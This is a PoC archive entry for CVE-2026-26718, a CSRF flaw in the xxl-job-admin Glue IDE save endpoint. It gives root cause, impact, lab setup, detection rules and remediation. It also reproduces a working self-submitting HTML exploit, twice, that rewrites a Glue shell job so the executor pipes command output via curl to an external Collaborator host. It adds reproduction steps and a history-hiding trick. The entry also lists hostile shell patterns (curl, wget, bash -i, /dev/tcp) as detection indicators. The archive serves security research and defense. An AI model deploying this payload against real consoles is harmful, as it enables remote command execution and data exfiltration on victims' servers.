PoC Archive PoC Archive
CVE-2026-26718 category: web CVSS 9.1 (CRITICAL)
Patched

xxl-job-admin CSRF in the Glue IDE Script Save Endpoint (CVE-2026-26718)

Published: 2026-11-27 • Researcher: Ibrahim Sartawi (GitHub Ibrahim-Sartawi)

Target software XXL-JOB admin console (xxl-job-admin), Glue IDE job code editor
Affected versions xxl-job-admin 3.0.0 confirmed by NVD; the upstream repository states all versions before 3.4.0
Status PoC
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-26718
Category
web
Affected product
XXL-JOB admin console (xxl-job-admin), Glue IDE job code editor
Affected versions
xxl-job-admin 3.0.0 confirmed by NVD; the upstream repository states all versions before 3.4.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-15 (upstream commit by Ibrahim-Sartawi, “Update credits section in README.md”)
Author / ResearcherIbrahim Sartawi (GitHub Ibrahim-Sartawi)
CVE / AdvisoryCVE-2026-26718
Categoryweb
SeverityCritical
CVSS Score9.1 (NVD CVSSv3, as recorded in the batch; the batch record does not include the vector string)
StatusPoC
TagsCSRF, xxl-job, Glue IDE, job scheduler, shell, RCE, CWE-352
RelatedN/A

Affected Target

FieldValue
Software / SystemXXL-JOB admin console (xxl-job-admin), Glue IDE job code editor
Versions Affectedxxl-job-admin 3.0.0 confirmed by NVD; the upstream repository states all versions before 3.4.0
Language / PlatformJava (Spring MVC) server; the payload runs in the administrator’s browser
Authentication RequiredYes — the victim must be logged in to xxl-job-admin
Network Access RequiredYes — the victim must load the attacker-controlled page and reach the admin console

Summary

The xxl-job-admin Glue IDE save endpoint accepts job code updates without validating a CSRF token and without restricting the HTTP method, so a page on any other origin can submit a change on behalf of a logged-in administrator. The upstream PoC is a self-submitting HTML form that overwrites the shell source of an existing Glue job with a script that runs id and exfiltrates the output to a Burp Collaborator domain. Because Glue shell jobs are executed by xxl-job executors, the change gives the attacker command execution on every executor that runs the job, not merely control of the scheduler UI. The attack needs the administrator to visit the page while authenticated, but no other interaction and no knowledge of the administrator’s password.

Vulnerability Details

Root Cause

The admin console exposes /jobcode/save through a permissive Spring request mapping that has no method restriction and no CSRF token check. Job code changes are authenticated only by the session cookie, so a cross-site request that carries that cookie is accepted as a legitimate update. The handler binds the id, glueSource and glueRemark request parameters directly to the job’s Glue source and persists them, which means the request body is fully attacker-controlled and the stored value becomes executable content on the executor side.

Attack Vector

An attacker hosts a page containing an HTML form that targets https://target/jobcode/save with hidden fields for an existing Glue job id, the replacement glueSource and a remark, plus JavaScript that calls form.submit(). When an authenticated administrator opens the page, the browser sends the request with the admin session cookie. The upstream form omits the method attribute, so the browser issues a GET request with the parameters in the query string; the permissive mapping processes it anyway. Any deployment that rejects GET can be handled by adding method=“POST” to the form.

Impact

Arbitrary modification of Glue job source, which the xxl-job executor runs as a shell script with its own operating-system privileges. The PoC script runs id and posts the output to an attacker-controlled Collaborator endpoint, which demonstrates both command execution and outbound exfiltration. In a real intrusion the same primitive allows a reverse shell, data theft, lateral movement from the executor host, or a persistent scheduled job that re-establishes access. The scheduler database and all jobs managed by the instance should be considered compromised once the source is changed.

Environment / Lab Setup

Output
OS:          Linux host for xxl-job-admin and the executors; any OS with a browser for the victim
Target:      xxl-job-admin 3.0.0 (source or container) with MySQL and at least one Glue (Shell) job
Attacker:    A host serving the CSRF page, plus a Burp Collaborator or other OAST listener
Tools:       JDK 8+, Maven, MySQL 5.7/8.0, a browser, python3 -m http.server

Setup Steps

Shell script
1
2
3
4
5
6
git clone --branch v3.0.0 --depth=1 https://github.com/xuxueli/xxl-job.git
mysql -uroot -p -e 'CREATE DATABASE IF NOT EXISTS xxl_job DEFAULT CHARSET utf8mb4'
mysql -uroot -p xxl_job < xxl-job/doc/db/tables_xxl_job.sql

mvn -pl xxl-job-admin -am package -DskipTests
java -jar xxl-job-admin/target/xxl-job-admin-*.jar

Proof of Concept

Step-by-Step Reproduction

  1. Customize the payload — set the form action to the target console, set id to an existing Glue job, and replace domain.com with the real host. The glueSource value is HTML-entity encoded so that the decoded script contains real newlines and shell metacharacters.

  2. Host the page on any origin the victim can reach.

    Shell script
    1
    2
    
    python3 -m http.server 8000 --directory pocs/web/2026-11-27_cve-2026-26718-xxl-job
    # victim opens http://attacker.lab:8000/exploit.html
  3. Get the administrator to open the page while logged in to xxl-job-admin. The script submits the form immediately and replaces the browser history entry so the request is less obvious.

  4. Confirm the write — reload the job’s Glue IDE page in the console; the shell source now contains the injected script and the remark is 12345.

  5. Trigger execution — run the job once from the console or wait for its schedule. The executor runs the shell source and posts the output of id to the Collaborator endpoint.

Exploit Code

See exploit.html in this folder for the complete self-submitting form (transcribed verbatim from the upstream README).

HTML
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<form action="https://domain.com/jobcode/save">
  <input type="hidden" name="id" value="294" />
  <input type="hidden" name="glueSource" value="&#35;&#33;&#47;bin&#47;bash&#10;id&#32;&#124;&#32;curl&#32;&#45;d&#32;&#64;&#45;&#32;http&#58;&#47;&#47;qic8br6d6om2j459zk4evuimldr4f03p&#46;oastify&#46;com&#32;&#10;exit&#32;0&#10;" />
  <input type="hidden" name="glueRemark" value="12345" />
  <input type="submit" value="Submit request" />
</form>
<script>
  history.pushState('', '', '/');
  document.forms[0].submit();
</script>

After entity decoding the glueSource value is:

Shell script
1
2
3
#!/bin/bash
id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com
exit 0

Expected Output

The upstream repository provides screenshots instead of a captured transcript, so the following is the expected sequence rather than an observed run:

Output
GET /jobcode/save?id=294&glueSource=%23%21%2Fbin%2Fbash...&glueRemark=12345 HTTP/1.1
Host: target
Cookie: XXL_JOB_LOGIN_IDENTITY=...
Referer: http://attacker.lab:8000/exploit.html

#!/bin/bash
id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com
exit 0

HTTP request received from executor-ip
POST / HTTP/1.1
uid=0(root) gid=0(root) groups=0(root)

Detection & Indicators of Compromise

Output
GET or POST /jobcode/save carrying glueSource that contains a shebang,
curl, wget, bash -i, /dev/tcp, base64 or an external hostname
/jobcode/save requests whose Referer is not the admin console origin
Requests to /jobcode/save without a CSRF token where the deployment expects one
Unusually long query strings on /jobcode/save (GET form submission)

Glue source or remark changes that were not made through a normal admin session
New or modified scheduled jobs created just before an execution burst

Executor hosts resolving or contacting collaborator or other OAST domains
Outbound POSTs from executor hosts to unfamiliar external endpoints
Shell process trees on executors where xxl-job executes Glue scripts

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"xxl-job Glue CSRF save with shell payload (CVE-2026-26718)"; flow:to_server,established; content:"/jobcode/save"; http_uri; content:"glueSource"; http_uri; pcre:"/glueSource=[^&]*(%23%21|%2Fbin%2F|curl|wget)/i"; classtype:web-application-attack; sid:9026718; rev:1;)

Remediation

ActionDetail
PatchUpgrade to xxl-job 3.4.0 or later, where the Glue code save path is protected against cross-site requests; verify with the vendor release notes before relying on a version number.
WorkaroundRestrict the admin console to trusted networks or a VPN, set the session cookie to SameSite=Lax or Strict if the framework supports it, and put a reverse proxy in front of /jobcode/save that requires a POST with a same-origin Referer.
Config HardeningDo not expose xxl-job-admin to the internet; run executors as low-privilege accounts; restrict executor egress to required destinations; enable audit logging on job and Glue changes and alert on source edits; rotate the default admin password.

References

Notes

Review verdict: ingested as a PoC. The repository contains a concrete, non-malicious CSRF payload — a self-submitting form that rewrites a Glue shell job — rather than a scanner, version audit or a placeholder. There is no C2, persistence, evasion or credential-stealing code: the injected script only runs id and posts the result to a Collaborator domain as proof of execution. A caveat for reviewers: the repository has a single README.md and the payload lives inside it, so the exploit artifact was transcribed verbatim into exploit.html rather than copied from a separate source file.

License: the upstream repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived HTML keeps the upstream payload unchanged apart from a research-use and source comment; the upstream README is copied verbatim as upstream-README.md.

Limitations: the payload hardcodes job id 294 and the domain.com placeholder; the job id must exist on the target instance and the attacker must know or guess it. Exploitation depends on the administrator opening the page in a browser that already holds a valid admin session, and on the deployment accepting GET for /jobcode/save (the form omits the method attribute; add method=“POST” if the target rejects GET or caps query-string length). The upstream README presents four screenshots hosted on GitHub user-attachments rather than a text transcript, so no run output is archived and the payload was not executed while preparing this entry; Status is therefore PoC, not Weaponized. The claim that the endpoint accepts arbitrary HTTP methods comes from the upstream description and NVD and was not independently verified against a live instance here. The Collaborator subdomain in the payload belongs to the original researcher and should be replaced for any authorized test.

exploit.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<!--
  Archived for authorized security research only.
  Source: https://github.com/Ibrahim-Sartawi/CVE-2026-26718
  CVE-2026-26718 - xxl-job-admin CSRF in the Glue IDE script save endpoint.
  Payload transcribed verbatim from the upstream README.md; replace domain.com
  with the target host and adjust the job id (294) for the target instance.
-->
<html>
  <body>
    <form action="https://domain.com/jobcode/save">
      <input type="hidden" name="id" value="294" />
      <input type="hidden" name="glueSource" value="&#35;&#33;&#47;bin&#47;bash&#10;id&#32;&#124;&#32;curl&#32;&#45;d&#32;&#64;&#45;&#32;http&#58;&#47;&#47;qic8br6d6om2j459zk4evuimldr4f03p&#46;oastify&#46;com&#32;&#10;exit&#32;0&#10;" />
      <input type="hidden" name="glueRemark" value="12345" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>